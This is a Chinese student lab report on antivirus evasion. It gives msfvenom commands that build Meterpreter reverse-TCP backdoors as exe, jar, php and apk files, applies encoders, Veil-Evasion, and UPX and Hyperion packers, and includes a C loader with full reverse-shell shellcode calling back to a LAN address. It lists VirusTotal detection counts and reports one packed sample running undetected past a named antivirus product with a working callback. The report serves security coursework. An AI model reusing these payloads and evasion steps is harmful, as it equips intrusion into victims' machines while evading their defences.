20181223何家豪 Exp3-免杀原理

一、实践目标

  • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
  • veil,加壳工具
  • 使用C + shellcode编程
  • 通过组合应用各种技术实现恶意代码免杀

    如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图

  • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、基础问题回答

1. 杀软是如何检测出恶意代码的?

1. 工程师提前在杀软的库中储存了大量恶意代码的特征码,当本机检测样本文件特征码与病毒库中病毒特征码进行比对,如果比对成功,那么就说明这是恶意代码。
2. 杀软实时监测软件行为,当软件做出越界操作时,可以认为它是恶意代码。

2. 免杀是做什么?

免杀一般是通过修改病毒、木马内容而改变其特征码,从而躲避杀软的查杀。

3. 免杀的基本方法有哪些?

1. 改变特征码:如加壳、重写再编译。
2. 改变行为:尽量使用反弹式连接、减少对系统的修改。

三、实践过程

(一):正确使用msf编码器、msfvenom生成如jar之类的其他文件

1. 免杀检测

在实验二中使用msf生成了后门程序20181223_backdoor.exe,可以用VirusTotal对生成的后门程序进行扫描。
可以看到,70款杀软中54款报了病毒,不加处理的后门程序能被大部分的杀软检测到

Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度,只要一有新编码算法,AV厂家就会马上加到特征库。

2. 正确使用msf编码器

使用msf编码器对后门程序进行一次到多次编码,并进行检测。

  • 编码会降低检出率,理论上讲多编码几次,可降低被检测出的可能性

(1)一次编码

一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.3.180 LPORT=1223 -f exe > 20181223_backdoor.exe

对生成的20181223_backdoor.exe后门程序,使用VirusTotal进行扫描,扫描结果如下图所示:

70款软件里有53款报了病毒,比上次少了一个

(2)多次编码

十次编码使用命令:-i设置迭代次数

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.3.180 LPORT=1223 -f exe > 20181223_backdoor.exe

继续使用VirusTotal进行扫描,扫描结果如下图所示:

70款软件里有55款报了病毒,比最开始还多了一个

很明显,我们的实验结果和理论不符,多次编码后竟然提高了被查杀概率。
这说明,简单的多次编码并不能实现免杀。

3. msfvenom生成jar文件

(1)生成java后门程序

生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.3.180 LPORT=1223 x > 20181223_backdoor.jar

(2)检测程序

对生成的20181223_backdoor.jar后门文件,使用VirusTotal进行扫描,扫描结果如下图所示:

61款软件里有34款报了病毒,数量上要少一些了

4. msfvenom生成php文件

(1)生成php后门程序

生成php后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.3.180 LPORT=1223 x > 20181223_backdoor.php

(2)检测程序

对生成的20181223_backdoor.php后门文件,使用VirusTotal进行扫描,扫描结果如下图所示:

57款杀软里有19款报了病毒,数量更少了

5. msfvenom生成apk文件

(1)生成apk后门程序

生成apk后门程序使用命令:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.3.180 LPORT=1223 x > 20181223_backdoor.apk

(2)检测程序

对生成的20181223_backdoor.apk后门文件,使用VirusTotal进行扫描,扫描结果如下图所示:

64款杀软里有32款报了病毒,数量又回升了一些

6. 使用veil-evasion生成后门程序及检测

(1)安装veil

使用sudo apt-get install veil-evasion命令安装veil

(2)配置veil

输入veil指令,进入veil界面
输入s进行默认配置

这样就安装好了

(3)veil生成后门程序

输入指令使用veil-evasion
use 1

输入指令,可以查看指令的用途
list

输入命令进入配置界面
use 22

设置端口号和IP地址,此处IP为虚拟机IP
set LHOST 192.168.3.180//设置反弹连接IP set LPORT 1223//设置端口 options

输入generate生成文件,接着输入你想要playload的名字:veil_1223

在对应的目录找到生成的veil_1223.bat文件

(4)检测程序

59款杀软里有34款报毒,数量和之前差不多

7. 注入Shellcode并执行(嵌入式Shellcode)

(1)生成shellcode

首先使用命令用c语言生成一段shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.180 LPORT=1223 -f c

(2)创建源文件

创建一个文件20181223.c,然后将unsigned char buf[]赋值到其中,代码如下:
创建20181223.c文件,文件内容为

#include <stdio.h>

unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x03\xb4"
"\x68\x02\x00\x04\xc7\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";


int main()
{
int (*func)() = (int(*)())buf;
func();
}

编译文件
i686-w64-mingw32-g++ 20181223.c -o 20181223.exe

(3)检测程序

对创建的20181223.exe后门文件,使用VirusTotal进行扫描,扫描结果如下所示

69款杀软里有35款报毒,相比之下少了一点

不过关闭了杀软和防火墙后,可以在本机环境运行

8. 加壳

(1)压缩壳加壳

给之前的生成的文件进行加壳操作,压缩壳upx进行加壳,指令为
upx 20181223.exe -o 20181223_upx.exe

(2)检测程序

对创建的20181223_upx.exe后门文件,使用VirusTotal进行扫描,扫描结果如下所示

69款杀软里有32款报毒,相比之下又少了一点

(3)加密壳加壳

加密壳(Hyperion)进行加壳,将加壳的文件复制到/usr/share/windows-resources/hyperion/中
sudo cp 20181223_upx.exe /usr/share/windows-resources/hyperion/
输入命令
wine hyperion.exe -v 20181223_upx.exe 20181223_hyperion_upx.exe

(4)检测程序

对创建的20181223_hyperion_upx.exe后门文件,使用VirusTotal进行扫描,扫描结果如下所示

70款杀软里有49款报毒,数量反而回升了

9. 其他方法

(1)使用Veil-Evasion的其他载荷生成后门

启动veil
输入命令veil启动, 用use evasion命令进入Evil-Evasion
输入list查看其他可用的有效荷载
输入命令use 13,这里我选择的是第13个载荷cs/shellcode_inject/virtual.py

输入option,查看有效荷载的选项
然后运行generate生成有效载荷,我们选择4带有shellcode的有效载荷。这里会要求输入本机的IP:192.168.3.125和该payload使用的端口,我们设置为1223端口

成功完成以上编译后,编译后的文件被保存在/var/lib/veil/output/compiled/veil_1223.exe下,同时新生成的 shellcode 的 rc 文件也被保存在了 /var/lib/veil/output/handlers/veil_1223.rc下!既然有了rc文件,那么我们就可以方便的利用MSF 进行调用
进入该文件目录下cd /var/lib/veil/output/handlers/,使用命令msfconsole -r veil_1223.rc
对创建的后门文件,使用VirusTotal进行扫描,扫描结果如下所示

64款杀软里有32款报毒,和之前差不多

(二)通过组合应用各种技术实现恶意代码免杀

在上述的实验过程中
先使用veil-evasion生成了后门程序veil_1223.exe
再使用upx对其进行加壳,生成了20181223_upx.exe
其实在进行完上述两个步骤之后,已经实现了免杀
再使用Hyprion加密壳对20181223_upx.exe再次加壳,生成20181223_hyperion_upx.exe
依然可以实现免杀的目的

(三)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

使用kali虚拟机作为主机,将本机作为宿主
杀软为火绒安全软件,版本号5.0.59.0
使用的后门程序为20181223_upx.exe
依次输入以下指令开始监听

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.128.129
set LPORT 1202
exploit

在windows主机中运行20181223_upx.exe,反向连接成功

四、实践总结与体会

经过这次实验,我更加深刻地体会到了防范恶意代码在我们生活中的必要性。同时,我们应该打开电脑上的杀毒软件,这样才能更好地保护我们的电脑和隐私。
并且,这次实验给我的印象也是深刻的。大量的操作让我对恶意代码的生成有了更多的认识。
在安装veil时,我遇到了问题。kali系统内自带的veil配置文件在转义上出现了错误,我只能拷贝一份别人的veil文件夹覆盖掉我的数据,这才安装成功。

五、开启杀软能绝对防止电脑中恶意代码吗?

不能。因为总会有新的病毒或者木马没有被发现过,比如之前的勒索程序。同样,用户不安全的操作也是中恶意代码的隐患。

posted @ 2021-04-05 18:24  POI~20181223  阅读(69)  评论(0编辑  收藏  举报